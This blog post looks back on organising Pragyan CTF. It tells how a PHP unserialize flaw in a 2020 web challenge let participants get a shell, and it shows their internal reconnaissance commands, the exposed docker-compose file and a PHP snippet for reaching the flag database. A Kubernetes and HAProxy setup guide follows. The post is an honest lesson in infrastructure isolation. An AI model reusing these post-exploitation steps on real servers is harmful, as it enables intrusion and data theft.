Pragyan CTF 2020--2022

Aug 4, 2024

Pragyan CTF 2020--2022

image source: dailydot.com

A slight jump in the past, and we are back to the start of 2020, those nice Pre-covid vibes, where we used to be sitting together coding day and night while having loads of discussions and idea-sharing of course, for the upcoming Pragyan'20. For those of you who don't know what is Pragyan, well it is the Techno managerial festival of NIT Trichy, and I belong to the team which handles all the software-related things. CTF enthusiasts might recall Pragyan, because of the wonderful experiences they had with us during Pragyan CTF'20.

It's been almost 4 years, and we are still thriving to be better with every such mistake, of course, that's what we do, we are developers, we develop things, make them better and learn from mistakes. AND yes, I was the part of Pragyan CTF'20 developer team as well, just a member of that group with four sophomores, who just entered the realm of CTF, trying to host an event as large for the first time. These four kids weren't aware of the upcoming roller coaster ride.

Pragyan CTF is a 36-hour long jeopardy style capture the flag event, where around 1000 individuals participate from all around the world. I am not exaggerating, that is the number, and that was a surprise for us as well back then. Well, a scary surprise I must say.

We four, each of us responsible for one category each namely --- Forensics (That was handled by me), Binary and Reversing, Cryptography and finally Web. Starting from January we begin creating questions and working on our Infra along with it. That year we decided to go with Mellivora as our CTF engine (built with PHP) because of its easily scalable structure.

A week before the event goes live we started the final stress testing for the questions among our group mates. Like any other normal CTF, we hosted rooms for discussion over discord. Finally on 23rd Feb 2020, at 8:00 PM sharp the event went live and people started solving challenges one by one.
That was the moment of relief because that's what we have been working on for the past 2 months. The discussions over discord were also going great, people liked the challenges we made. We had our "Sorta Happy Moment" there. But how is it possible, everything is perfect on the very first go. We were very well aware of our extremely incredible luck.
Sometime around 10:00 pm, there was a discussion over discord about the platform going down all of a sudden. Not even a second of relaxation and the platform actually went down, the reason still being unknown at that moment.

And it was at this moment we realised, we.... Never mind.

The server was turned off by one of our group mates because of some suspicious behaviour in the logs he noticed. There was a discussion over CTFtime and discord about the same, because of some mistake we made in one of the challenges. We started working, trying to keep each other's morale up. Obviously, nothing worse could have happened. And.....

At the very same moment, we lost access to the mod permissions of the discord server as well. The night couldn't have been better, to be honest.

Sarcasm!!! Image source: https://giphy.com/gifs/bazinga-YWZPFFCblEqsw

The things kept going worse. Internet is definitely a boon for many, we became a source of entertainment when participants started posting memes over CTFtime instead of solving challenges.

image source: one of our amazing participant teams

Scratching our heads, we were confused about what could have possibly happened. The discussions described that one of our challenges allowed RCE over our server when we knew that we tried to prevent it in every possible way. It took us a while to figure out the actual issue why it happened. Apparently, we forgot to test one of the Web challenges.
The challenge was fixed and the server went up again, we took a heavy breathe to relax. Nope! not that easily.
We forgot that the challenge was fixed, but we didn't fix the damage it made already. It was because of the lovely participants we had to witness this over CTFtime.

image credits: again the same set of participants

Yes, all the flags were leaked by one team. But we had to forget the unprofessional behaviour and focus on how to fix it whole. And yet again we had to turn our server down immediately (it was 3:23 AM). Our morale totally went down. But thanks to some good participants we had, who kept motivating us, especially the super friendly people from Team-BI0S.

The whole reason behind this mess was:

One of our Web challenges named Brutus had a small issue in PHP unserialise which gave RCE privileges to every user. We forgot to implement a time-out check over the challenge and in no time the users figured out the bug and comfortably used it to create a reverse shell to the server.

www-data@5841bda2da57:/code$ cat /etc/hosts\
127.0.0.1       localhost\
::1     localhost ip6-localhost ip6-loopback\
fe00::0 ip6-localnet\
ff00::0 ip6-mcastprefix\
ff02::1 ip6-allnodes\
ff02::2 ip6-allrouters\
172.26.0.4      5841bda2da57

Users used this to check the /etc/hosts file which gave the IP address of the internal server i.e. 172.26.0.4 After that, it was pretty easy to guess that the host server could have the IP address 172.26.0.1 .

www-data@5841bda2da57:/code$ curl 172.26.0.1\
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&gt;\
&lt;**html**&gt;\
 &lt;**head**&gt;\
  &lt;**title**&gt;Index of /&lt;/**title**&gt;\
 &lt;/**head**&gt;\
 &lt;**body**&gt;\
&lt;**h1**&gt;Index of /&lt;/**h1**&gt;\
  &lt;**table**&gt;\
   &lt;**tr**&gt;&lt;**th** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/blank.gif&quot; alt=&quot;[ICO]&quot;&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=N;O=D&quot;&gt;Name&lt;/**a**&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=M;O=A&quot;&gt;L\
ast modified&lt;/**a**&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=S;O=A&quot;&gt;Size&lt;/**a**&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=D;O=A&quot;&gt;Description&lt;/**a**&gt;&lt;/**th**&gt;&lt;/**tr**&gt;\
   &lt;**tr**&gt;&lt;**th** colspan=&quot;5&quot;&gt;&lt;**hr**&gt;&lt;/**th**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/folder.gif&quot; alt=&quot;[DIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;mellivora/&quot;&gt;mellivora/&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;\
2020-02-21 22:08  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
   &lt;**tr**&gt;&lt;**th** colspan=&quot;5&quot;&gt;&lt;**hr**&gt;&lt;/**th**&gt;&lt;/**tr**&gt;\
&lt;/**table**&gt;\
&lt;**address**&gt;Apache/2.4.29 (Ubuntu) Server at 172.26.0.1 Port 80&lt;/**address**&gt;\
&lt;/**body**&gt;&lt;/**html**&gt;

Now, as I mentioned that we were using Mellivora CTF-engine to host the platform, it was available at 172.26.0.1/mellivora .

www-data@5841bda2da57:/code$ curl 172.26.0.1/mellivora/\
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&gt;\
&lt;**html**&gt;\
 &lt;**head**&gt;\
  &lt;**title**&gt;Index of /mellivora&lt;/**title**&gt;\
 &lt;/**head**&gt;\
 &lt;**body**&gt;\
&lt;**h1**&gt;Index of /mellivora&lt;/**h1**&gt;\
  &lt;**table**&gt;\
   &lt;**tr**&gt;&lt;**th** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/blank.gif&quot; alt=&quot;[ICO]&quot;&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=N;O=D&quot;&gt;Name&lt;/**a**&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=M;O=A&quot;&gt;Last modified&lt;/**a**&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=S;O=A&quot;&gt;Size&lt;/**a**&gt;&lt;/**th**&gt;&lt;**th**&gt;&lt;**a** href=&quot;?C=D;O=A&quot;&gt;Description&lt;/**a**&gt;&lt;/**th**&gt;&lt;/**tr**&gt;\
   &lt;**tr**&gt;&lt;**th** colspan=&quot;5&quot;&gt;&lt;**hr**&gt;&lt;/**th**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/back.gif&quot; alt=&quot;[PARENTDIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;/&quot;&gt;Parent Directory&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;Dockerfile&quot;&gt;Dockerfile&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;720 &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;LICENSE&quot;&gt;LICENSE&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt; 34K&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/text.gif&quot; alt=&quot;[TXT]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;README.md&quot;&gt;README.md&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2.8K&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/text.gif&quot; alt=&quot;[TXT]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;benchmarks.md&quot;&gt;benchmarks.md&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;6.4K&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;codeception.yml&quot;&gt;codeception.yml&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;340 &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;composer.json&quot;&gt;composer.json&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;696 &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;composer.lock&quot;&gt;composer.lock&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;106K&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;docker-compose.dev.yml&quot;&gt;docker-compose.dev.yml&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-22 06:35  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;1.1K&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/unknown.gif&quot; alt=&quot;[   ]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;docker-compose.test.yml&quot;&gt;docker-compose.test.yml&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;1.2K&lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/folder.gif&quot; alt=&quot;[DIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;htdocs/&quot;&gt;htdocs/&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/folder.gif&quot; alt=&quot;[DIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;include/&quot;&gt;include/&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-20 13:35  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/folder.gif&quot; alt=&quot;[DIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;install/&quot;&gt;install/&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/text.gif&quot; alt=&quot;[TXT]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;rules.txt&quot;&gt;rules.txt&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-21 22:08  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;826 &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/folder.gif&quot; alt=&quot;[DIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;tests/&quot;&gt;tests/&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
&lt;**tr**&gt;&lt;**td** valign=&quot;top&quot;&gt;&lt;**img** src=&quot;/icons/folder.gif&quot; alt=&quot;[DIR]&quot;&gt;&lt;/**td**&gt;&lt;**td**&gt;&lt;**a** href=&quot;writable/&quot;&gt;writable/&lt;/**a**&gt;&lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;2020-02-17 12:37  &lt;/**td**&gt;&lt;**td** align=&quot;right&quot;&gt;  - &lt;/**td**&gt;&lt;**td**&gt; &lt;/**td**&gt;&lt;/**tr**&gt;\
   &lt;**tr**&gt;&lt;**th** colspan=&quot;5&quot;&gt;&lt;**hr**&gt;&lt;/**th**&gt;&lt;/**tr**&gt;\
&lt;/**table**&gt;\
&lt;**address**&gt;Apache/2.4.29 (Ubuntu) Server at 172.26.0.1 Port 80&lt;/**address**&gt;\
&lt;/**body**&gt;&lt;/**html**&gt;

If you look at the Github repo for Mellivora, you will find a docker-compose.dev.yml file that was easily accessible now.

www-data@5841bda2da57:/code$ curl 172.26.0.1/mellivora/docker-compose.dev.yml\
version: &#39;3&#39;\
services:\
  mellivora:\
    image: mellivora\
    ports:\
      - 4000:80\
      - 4002:443\
    build:\
      context: .\
      dockerfile: Dockerfile\
    environment:\
      MELLIVORA_CONFIG_DB_ENGINE: mysql\
      MELLIVORA_CONFIG_DB_HOST: db\
      MELLIVORA_CONFIG_DB_PORT: 3306\
      MELLIVORA_CONFIG_DB_NAME: [redacted]\
      MELLIVORA_CONFIG_DB_USER: [redacted]\
      MELLIVORA_CONFIG_DB_PASSWORD: [redacted]\
    volumes:\
      - .:/var/www/mellivora\
      - composer dependencies:/var/www/mellivora/include/thirdparty/composer\
    links:\
      - db\
  db:\
    image: mysql:5.6\
    ports:\
      - 13306:3306\
    environment:\
      MYSQL_DATABASE: [redacted]\
      MYSQL_USER: [redacted]\
      MYSQL_PASSWORD: [redacted]\
      MYSQL_ROOT_PASSWORD: [redacted]\
    volumes:\
      - dbdata:/var/lib/mysql\
      - ./install/sql:/docker-entrypoint-initdb.d\
  adminer:\
      image: adminer\
      restart: always\
      ports:\
        - 15246:8080\
volumes:\
  composerdependencies:\
  dbdata:

This file gave the user the password to our database container. Therefore, using these details some teams were able to get access to all the flags, and one of them leaked them over CTFtime apparently.

$con = new mysqli('172.26.0.1','[redacted]','[redacted]','[redacted]');
$res = $con->query('show databases')->fetch_all();
var_dump($res);

Basically, the host server and the challenges could have been separated in the beginning itself, which could have prevented this huge mess.

We worked overnight and changed all the flags, resolved the bug in the challenge, and we were able to host the CTF up the next day successfully. We had to deal with a lot of criticism, but at the end of the day, we were able to finish the event happily.

Fast forward to 2021, time for a totally new Pragyan edition. Now we were aware of the mistakes we made last year, and we planned to improve them this time.
The idea was to host a scalable CTF platform, and so we chose HaProxy + Kubernetes for the challenges.

The first step was to set up a K8 cluster on Google cloud.

$ echo &quot;deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main&quot; | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list

# Install depssudo\
$ apt-get install apt-transport-https ca-certificates gnupg

# Import google cloud public key\
$ curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key --keyring /usr/share/keyrings/cloud.google.gpg add -

# Update apt package index, install cloud sdksudo\
$ apt-get update &amp;&amp; sudo apt-get install google-cloud-sdk

The next step was to create a cluster, based on the number of nodes we needed and the regions we wanted them to deploy in.

$ `gcloud compute machine-types list`

$ `gcloud compute zones list`

After this, we can simply run the following command to create a cluster

$ gcloud container clusters create cluster-name \\
    --zone compute-zone \\
    --machine-type &lt;machine-type you chose&gt; \\
    --num-nodes &lt;number of nodes in the cluster&gt; \\
    --tags challenges

Note the tags option, these will assign a tag to each VM instance on the node.

Now, the final step was to use kubectl to deploy challenges on the cluster. For this step, we had to create docker images for all the challenges locally and push them to a registry. Once the images were pushed, all that remained was to write a YAML file to deploy them, something similar to this

Followed by kubectl apply -f deployment.yml

Setting up a HaProxy Load Balancer in front of your cluster

To create a load balancer, we just provisioned a separate VM and installed HaProxy over it. Now all that was left to do was configure the HaProxy config file in a way similar to this.

And that's it. The events went live and ended successfully with no issues till the end.

You can check the questions out at

GitHub - Bhavesh0327/pctf_20
*You can't perform that action at this time. You signed in with another tab or window. You signed out in another tab or...*github.com

GitHub - Bhavesh0327/PCTF21
*Contribute to Bhavesh0327/PCTF21 development by creating an account on GitHub.*github.com

Well, this was it. Do not miss out upcoming editions of the Pragyan CTF.